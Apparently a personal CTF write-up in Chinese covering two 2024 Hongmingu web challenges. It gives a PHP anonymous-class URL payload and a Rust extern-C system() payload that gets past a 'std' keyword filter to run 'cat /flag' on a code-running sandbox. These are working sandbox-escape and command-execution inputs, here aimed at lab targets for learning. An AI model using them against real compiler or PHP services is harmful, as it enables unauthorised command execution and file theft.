【Web】2024红明谷CTF初赛个人wp(2/4)

目录

ezphp

playground


时间原因只打了2个小时,出了2道,简单记录一下

ezphp

参考文章

PHP filter chains: file read from error-based oracle

https://github.com/synacktiv/php_filter_chains_oracle_exploit

用上面的脚本爆出部分源码,直接/flag.php?ezphpPhp=1访问

创建了一个匿名类

参考文章:

php匿名类 - Hi! 阿金

最终payload:

复制代码
/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

🤬本地通了,远程一直not found,重开靶机后一样的payload直接打出来了

playground

进题是一段rust代码

重点关注post的/rust_code这个路由

复制代码
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
    if code.contains("std") {
        return "Error: std is not allowed".to_string();
    }
    //generate a random 5 length file name
    let file_name = rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(5)
        .map(char::from)
        .collect::<String>();
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
        file.write_all(code.as_bytes());
    }
    if let Ok(build_output) = Command::new("rustc")
        .arg(format!("playground/{}.rs",&file_name))
        .arg("-C")
        .arg("debuginfo=0")
        .arg("-C")
        .arg("opt-level=3")
        .arg("-o")
        .arg(format!("playground/{}",&file_name))
        .output() {
        if !build_output.status.success(){
            fs::remove_file(format!("playground/{}.rs",&file_name));
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
        }
    }
    fs::remove_file(format!("playground/{}.rs",&file_name));
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))
        .output() {
        if !output.status.success(){
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
        } else{
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
        }
    }
    return String::default();

}
  1. 首先,函数检查输入的代码是否包含了"std",如果包含,则返回一个错误消息,表示不允许使用标准库(std)。

  2. 然后,函数生成一个随机的长度为5的文件名,该文件名用于存储接收到的Rust代码。

  3. 接着,函数尝试创建一个名为playground/{}.rs的文件,其中{}会被随机生成的文件名所替代,并将接收到的代码写入文件中。

  4. 接下来,函数使用Command::new("rustc")创建一个Rust编译器的命令,该命令编译刚刚创建的Rust源代码文件,并传入了一些编译选项,例如关闭调试信息和设置优化级别。

  5. 如果编译成功,则继续执行下一步,否则删除刚创建的Rust源代码文件,并返回编译器输出的错误消息。

  6. 如果编译成功,函数继续使用Command::new(format!("playground/{}", &file_name))创建一个命令,该命令运行刚刚编译生成的可执行文件。

  7. 如果运行成功,则返回程序的标准输出结果,否则删除生成的可执行文件,并返回程序的标准错误输出结果。

  8. 最后,无论是编译失败还是运行失败,都会删除生成的Rust源代码文件,并返回一个空字符串。

payload:

复制代码
extern "C"{
    fn system(cmd: *const u8) -> i32;
}
fn main(){
    unsafe{
        system("cat /flag".as_ptr());
    }
}

直接放请求体里即可

相关推荐
合天网安实验室3 天前
Modbus协议及其取证的学习笔记
ctf·modbus·通信协议·取证
努力的lpp3 天前
php反序列化一(大白话版)
开发语言·web安全·php·ctf·反序列化
蒲公英eric3 天前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块
山甫aa4 天前
【从零开始的 Web 后端学习】令牌技术一篇搞定(JWT 登录认证保姆级)
后端·学习·spring·web·jwt
llxxyy卢4 天前
polar秋季赛部分题目wp(web全解)
web
里欧跑得慢4 天前
Flutter主题与样式详解
前端·css·flutter·web
蒲公英eric5 天前
从页面检查到功能验证:DVWA 授权绕过模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·授权绕过模块
嘿嘿-665 天前
Windows 一键使用 GPT-6 Astra:Codex CLI 配置教程
java·人工智能·windows·gpt·chatgpt·web
嘿嘿-666 天前
gpt-6-astra测试,测试你的模型有没有降智
人工智能·gpt·chatgpt·web
cui_ruicheng6 天前
FastAPI 应用开发(二):请求响应、Pydantic 模型与依赖注入
python·fastapi·web